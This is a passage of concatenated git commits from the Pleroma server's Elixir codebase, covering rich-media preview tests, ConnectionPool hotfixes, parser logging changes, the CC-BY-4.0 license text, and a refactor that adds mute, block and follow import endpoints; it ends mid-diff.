Parser.parse(page_url) do %{page_url: page_url, rich_media: rich_media} diff --git a/test/html_test.exs b/test/html_test.exs index f8907c8b4..7d3756884 100644 --- a/test/html_test.exs +++ b/test/html_test.exs @@ -165,7 +165,7 @@ test "filters invalid microformats markup" do end end - describe "extract_first_external_url" do + describe "extract_first_external_url_from_object" do test "extracts the url" do user = insert(:user) @@ -176,7 +176,7 @@ test "extracts the url" do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://github.com/komeiji-satori/Dress" end @@ -191,7 +191,7 @@ test "skips mentions" do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" @@ -207,7 +207,7 @@ test "skips hashtags" do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" end @@ -223,7 +223,7 @@ test "skips microformats hashtags" do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" end @@ -235,7 +235,7 @@ test "does not crash when there is an HTML entity in a link" do object = Object.normalize(activity) - assert {:ok, nil} = HTML.extract_first_external_url(object, object.data["content"]) + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) end test "skips attachment links" do @@ -249,7 +249,7 @@ test "skips attachment links" do object = Object.normalize(activity) - assert {:ok, nil} = HTML.extract_first_external_url(object, object.data["content"]) + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) end end end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index 5955d8334..f221884e7 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -296,9 +296,45 @@ test "posting a fake status", %{conn: conn} do assert real_status == fake_status end + test "fake statuses' preview card is not cached", %{conn: conn} do + clear_config([:rich_media, :enabled], true) + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://example.com/twitter-card" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + conn1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/ogp", + "preview" => true + }) + + conn2 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/twitter-card", + "preview" => true + }) + + assert %{"card" => %{"title" => "The Rock"}} = json_response_and_validate_schema(conn1, 200) + + assert %{"card" => %{"title" => "Small Island Developing States Photo Submission"}} = + json_response_and_validate_schema(conn2, 200) + end + test "posting a status with OGP link preview", %{conn: conn} do Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - Config.put([:rich_media, :enabled], true) + clear_config([:rich_media, :enabled], true) conn = conn -- cgit v1.2.3 From 5298de3be6683022fa53cc011dd567e8b2a706b9 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sat, 5 Sep 2020 21:17:03 +0300 Subject: ConnectionPool middleware: fix a crash due to unimplemented behaviour Structs don't implement Access behaviour, so this crashed. Tests didn't catch it and I didn't test that part of the codepath. Very sorry --- lib/pleroma/tesla/middleware/connection_pool.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/tesla/middleware/connection_pool.ex b/lib/pleroma/tesla/middleware/connection_pool.ex index 5909e98d6..049db6eb3 100644 --- a/lib/pleroma/tesla/middleware/connection_pool.ex +++ b/lib/pleroma/tesla/middleware/connection_pool.ex @@ -32,7 +32,7 @@ def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do {:ok, env} -> unless opts[:adapter][:body_as] == :chunks do ConnectionPool.release_conn(conn_pid) - {:ok, pop_in(env[:opts][:adapter][:conn])} + {:ok, pop_in(env.opts[:adapter][:conn])} else {:ok, env} end -- cgit v1.2.3 From 9d6aca5bee6f90f3c0af5a5353f052108c9def62 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sat, 5 Sep 2020 21:27:06 +0300 Subject: ConnectionPool: fix the previous hotfix I rushed the hotfix and forgot how `pop_in` actually works, I want to die. We need some integration tests for the HTTP client --- lib/pleroma/tesla/middleware/connection_pool.ex | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/tesla/middleware/connection_pool.ex b/lib/pleroma/tesla/middleware/connection_pool.ex index 049db6eb3..2c5a2b53b 100644 --- a/lib/pleroma/tesla/middleware/connection_pool.ex +++ b/lib/pleroma/tesla/middleware/connection_pool.ex @@ -32,7 +32,8 @@ def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do {:ok, env} -> unless opts[:adapter][:body_as] == :chunks do ConnectionPool.release_conn(conn_pid) - {:ok, pop_in(env.opts[:adapter][:conn])} + {_, res} = pop_in(env.opts[:adapter][:conn]) + {:ok, res} else {:ok, env} end -- cgit v1.2.3 From 129a2f48df95ddd85fceee741a9991a6e092ed3d Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sat, 5 Sep 2020 21:36:17 +0300 Subject: ConnectionPool middleware: handle connection opening errors --- lib/pleroma/tesla/middleware/connection_pool.ex | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/pleroma/tesla/middleware/connection_pool.ex b/lib/pleroma/tesla/middleware/connection_pool.ex index 2c5a2b53b..056e736ce 100644 --- a/lib/pleroma/tesla/middleware/connection_pool.ex +++ b/lib/pleroma/tesla/middleware/connection_pool.ex @@ -42,6 +42,9 @@ def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do ConnectionPool.release_conn(conn_pid) err end + + err -> + err end end end -- cgit v1.2.3 From 170599c390e7c82bdff0d4180d04b2f0f3906f35 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sat, 5 Sep 2020 22:00:51 +0300 Subject: RichMedia: do not log webpages missing metadata as errors Also fixes the return value of Parser.parse on errors, previously was just `:ok` due to the logger call in the end --- lib/pleroma/web/rich_media/parser.ex | 11 ++++++++--- test/web/rich_media/parser_test.exs | 4 +--- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/web/rich_media/parser.ex b/lib/pleroma/web/rich_media/parser.ex index e98c743ca..5727fda18 100644 --- a/lib/pleroma/web/rich_media/parser.ex +++ b/lib/pleroma/web/rich_media/parser.ex @@ -21,8 +21,13 @@ def parse(url) do {:ok, _} <- set_ttl_based_on_image(data, url) do {:ok, data} else + {:error, {:invalid_metadata, data}} = e -> + Logger.debug(fn -> "Incomplete or invalid metadata for #{url}: #{inspect(data)}" end) + e + error -> - Logger.error(fn -> "Rich media error: #{inspect(error)}" end) + Logger.error(fn -> "Rich media error for #{url}: #{inspect(error)}" end) + error end end @@ -90,7 +95,7 @@ defp get_ttl_from_image(data, url) do end) end - defp parse_url(url) do + def parse_url(url) do with {:ok, %Tesla.Env{body: html}} <- Pleroma.Web.RichMedia.Helpers.rich_media_get(url), {:ok, html} <- Floki.parse_document(html) do html @@ -116,7 +121,7 @@ defp check_parsed_data(%{"title" => title} = data) end defp check_parsed_data(data) do - {:error, "Found metadata was invalid or incomplete: #{inspect(data)}"} + {:error, {:invalid_metadata, data}} end defp clean_parsed_data(data) do diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index 1e09cbf84..21ae35f8b 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -66,9 +66,7 @@ test "returns error when no metadata present" do end test "doesn't just add a title" do - assert Parser.parse("http://example.com/non-ogp") == - {:error, - "Found metadata was invalid or incomplete: %{\"url\" => \"http://example.com/non-ogp\"}"} + assert {:error, {:invalid_metadata, _}} = Parser.parse("http://example.com/non-ogp") end test "parses ogp" do -- cgit v1.2.3 From 0b4fa769f4332e50cdc5f643bada18f2e50430de Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sun, 6 Sep 2020 11:38:38 +0300 Subject: Add a copy of CC-BY-4.0 to the repo We mentined it in COPYING, but didn't actually have a copy in the repo. --- CC-BY-4.0 | 395 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 395 insertions(+) create mode 100644 CC-BY-4.0 diff --git a/CC-BY-4.0 b/CC-BY-4.0 new file mode 100644 index 000000000..4ea99c213 --- /dev/null +++ b/CC-BY-4.0 @@ -0,0 +1,395 @@ +Attribution 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution 4.0 International Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution 4.0 International Public License ("Public License"). To the +extent this Public License may be interpreted as a contract, You are +granted the Licensed Rights in consideration of Your acceptance of +these terms and conditions, and the Licensor grants You such rights in +consideration of benefits the Licensor receives from making the +Licensed Material available under these terms and conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + d. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + e. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + f. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + g. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + h. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + i. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + j. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + k. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part; and + + b. produce, reproduce, and Share Adapted Material. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + 4. If You Share Adapted Material You produce, the Adapter's + License You apply must not prevent recipients of the Adapted + Material from complying with this Public License. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material; and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. -- cgit v1.2.3 From 759f8bc3ae49580319a4ecb12770e8581826c6d9 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Sun, 6 Sep 2020 15:30:11 +0300 Subject: [#2497] Fixed MediaProxyWarmingPolicyTest. --- test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs index 313d59a66..1710c4d2a 100644 --- a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs +++ b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs @@ -22,6 +22,8 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do } } + setup do: clear_config([:media_proxy, :enabled], true) + test "it prefetches media proxy URIs" do with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do MediaProxyWarmingPolicy.filter(@message) -- cgit v1.2.3 From 5ae56aafb2edc737f7e9fb36e00377815f028ce6 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov <parallel588@gmail.com> Date: Sun, 6 Sep 2020 21:42:51 +0300 Subject: added import mutes --- docs/API/pleroma_api.md | 17 ++ lib/pleroma/user.ex | 51 ----- lib/pleroma/user/import.ex | 91 +++++++++ .../controllers/user_import_controller.ex | 57 ++++++ lib/pleroma/web/router.ex | 7 +- .../web/twitter_api/controllers/util_controller.ex | 35 ---- lib/pleroma/workers/background_worker.ex | 11 +- test/user/import_test.exs | 78 ++++++++ test/user_test.exs | 34 ---- .../controllers/user_import_controller_test.exs | 205 +++++++++++++++++++++ test/web/twitter_api/util_controller_test.exs | 164 ----------------- 11 files changed, 461 insertions(+), 289 deletions(-) create mode 100644 lib/pleroma/user/import.ex create mode 100644 lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex create mode 100644 test/user/import_test.exs create mode 100644 test/web/pleroma_api/controllers/user_import_controller_test.exs diff --git a/docs/API/pleroma_api.md b/docs/API/pleroma_api.md index 4e97d26c0..22f3ad7d6 100644 --- a/docs/API/pleroma_api.md +++ b/docs/API/pleroma_api.md @@ -44,6 +44,23 @@ Request parameters can be passed via [query strings](https://en.wikipedia.org/wi * Response: HTTP 200 on success, 500 on error * Note: Users that can't be followed are silently skipped. +## `/api/pleroma/blocks_import` +### Imports your blocks. +* Method: `POST` +* Authentication: required +* Params: + * `list`: STRING or FILE containing a whitespace-separated list of accounts to follow +* Response: HTTP 200 on success, 500 on error + +## `/api/pleroma/mutes_import` +### Imports your mutes. +* Method: `POST` +* Authentication: required +* Params: + * `list`: STRING or FILE containing a whitespace-separated list of accounts to follow +* Response: HTTP 200 on success, 500 on error + + ## `/api/pleroma/captcha` ### Get a new captcha * Method: `GET` diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 94c96de8d..be2ef0d1b 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -1686,42 +1686,6 @@ def perform(:delete, %User{} = user) do def perform(:deactivate_async, user, status), do: deactivate(user, status) - @spec perform(atom(), User.t(), list()) :: list() | {:error, any()} - def perform(:blocks_import, %User{} = blocker, blocked_identifiers) - when is_list(blocked_identifiers) do - Enum.map( - blocked_identifiers, - fn blocked_identifier -> - with {:ok, %User{} = blocked} <- get_or_fetch(blocked_identifier), - {:ok, _block} <- CommonAPI.block(blocker, blocked) do - blocked - else - err -> - Logger.debug("blocks_import failed for #{blocked_identifier} with: #{inspect(err)}") - err - end - end - ) - end - - def perform(:follow_import, %User{} = follower, followed_identifiers) - when is_list(followed_identifiers) do - Enum.map( - followed_identifiers, - fn followed_identifier -> - with {:ok, %User{} = followed} <- get_or_fetch(followed_identifier), - {:ok, follower} <- maybe_direct_follow(follower, followed), - {:ok, _, _, _} <- CommonAPI.follow(follower, followed) do - followed - else - err -> - Logger.debug("follow_import failed for #{followed_identifier} with: #{inspect(err)}") - err - end - end - ) - end - @spec external_users_query() :: Ecto.Query.t() def external_users_query do User.Query.build(%{ @@ -1750,21 +1714,6 @@ def external_users(opts \\ []) do Repo.all(query) end - def blocks_import(%User{} = blocker, blocked_identifiers) when is_list(blocked_identifiers) do - BackgroundWorker.enqueue("blocks_import", %{ - "blocker_id" => blocker.id, - "blocked_identifiers" => blocked_identifiers - }) - end - - def follow_import(%User{} = follower, followed_identifiers) - when is_list(followed_identifiers) do - BackgroundWorker.enqueue("follow_import", %{ - "follower_id" => follower.id, - "followed_identifiers" => followed_identifiers - }) - end - def delete_notifications_from_user_activities(%User{ap_id: ap_id}) do Notification |> join(:inner, [n], activity in assoc(n, :activity)) diff --git a/lib/pleroma/user/import.ex b/lib/pleroma/user/import.ex new file mode 100644 index 000000000..de27bdc4c --- /dev/null +++ b/lib/pleroma/user/import.ex @@ -0,0 +1,91 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.Import do + use Ecto.Schema + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Workers.BackgroundWorker + + require Logger + + @spec perform(atom(), User.t(), list()) :: :ok | list() | {:error, any()} + def perform(:mutes_import, %User{} = user, [_ | _] = identifiers) do + Enum.map( + identifiers, + fn identifier -> + with {:ok, %User{} = muted_user} <- User.get_or_fetch(identifier), + {:ok, _} <- User.mute(user, muted_user) do + muted_user + else + error -> handle_error(:mutes_import, identifier, error) + end + end + ) + end + + def perform(:blocks_import, %User{} = blocker, [_ | _] = identifiers) do + Enum.map( + identifiers, + fn identifier -> + with {:ok, %User{} = blocked} <- User.get_or_fetch(identifier), + {:ok, _block} <- CommonAPI.block(blocker, blocked) do + blocked + else + error -> handle_error(:blocks_import, identifier, error) + end + end + ) + end + + def perform(:follow_import, %User{} = follower, [_ | _] = identifiers) do + Enum.map( + identifiers, + fn identifier -> + with {:ok, %User{} = followed} <- User.get_or_fetch(identifier), + {:ok, follower} <- User.maybe_direct_follow(follower, followed), + {:ok, _, _, _} <- CommonAPI.follow(follower, followed) do + followed + else + error -> handle_error(:follow_import, identifier, error) + end + end + ) + end + + def perform(_, _, _), do: :ok + + defp handle_error(op, user_id, error) do + Logger.debug("#{op} failed for #{user_id} with: #{inspect(error)}") + error + end + + def blocks_import(%User{} = blocker, [_ | _] = identifiers) do + BackgroundWorker.enqueue( + "blocks_import", + %{ + "blocker_id" => blocker.id, + "blocked_identifiers" => identifiers + } + ) + end + + def follow_import(%User{} = follower, [_ | _] = identifiers) do + BackgroundWorker.enqueue( + "follow_import", + %{ + "follower_id" => follower.id, + "followed_identifiers" => identifiers + } + ) + end + + def mutes_import(%User{} = user, [_ | _] = identifiers) do + BackgroundWorker.enqueue( + "mutes_import", + %{"user_id" => user.id, "identifiers" => identifiers} + ) + end +end diff --git a/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex b/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex new file mode 100644 index 000000000..df6a0f131 --- /dev/null +++ b/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex @@ -0,0 +1,57 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.UserImportController do + use Pleroma.Web, :controller + + require Logger + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + + plug(OAuthScopesPlug, %{scopes: ["follow", "write:follows"]} when action == :follow) + plug(OAuthScopesPlug, %{scopes: ["follow", "write:blocks"]} when action == :blocks) + plug(OAuthScopesPlug, %{scopes: ["follow", "write:mutes"]} when action == :mutes) + + def follow(conn, %{"list" => %Plug.Upload{path: path}}) do + follow(conn, %{"list" => File.read!(path)}) + end + + def follow(%{assigns: %{user: follower}} = conn, %{"list" => list}) do + identifiers = + list + |> String.split("\n") + |> Enum.map(&(&1 |> String.split(",") |> List.first())) + |> List.delete("Account address") + |> Enum.map(&(&1 |> String.trim() |> String.trim_leading("@"))) + |> Enum.reject(&(&1 == "")) + + User.Import.follow_import(follower, identifiers) + json(conn, "job started") + end + + def blocks(conn, %{"list" => %Plug.Upload{path: path}}) do + blocks(conn, %{"list" => File.read!(path)}) + end + + def blocks(%{assigns: %{user: blocker}} = conn, %{"list" => list}) do + User.Import.blocks_import(blocker, prepare_user_identifiers(list)) + json(conn, "job started") + end + + def mutes(conn, %{"list" => %Plug.Upload{path: path}}) do + mutes(conn, %{"list" => File.read!(path)}) + end + + def mutes(%{assigns: %{user: user}} = conn, %{"list" => list}) do + User.Import.mutes_import(user, prepare_user_identifiers(list)) + json(conn, "job started") + end + + defp prepare_user_identifiers(list) do + list + |> String.split() + |> Enum.map(&String.trim_leading(&1, "@")) + end +end diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index c6433cc53..f69b1545f 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -260,14 +260,15 @@ defmodule 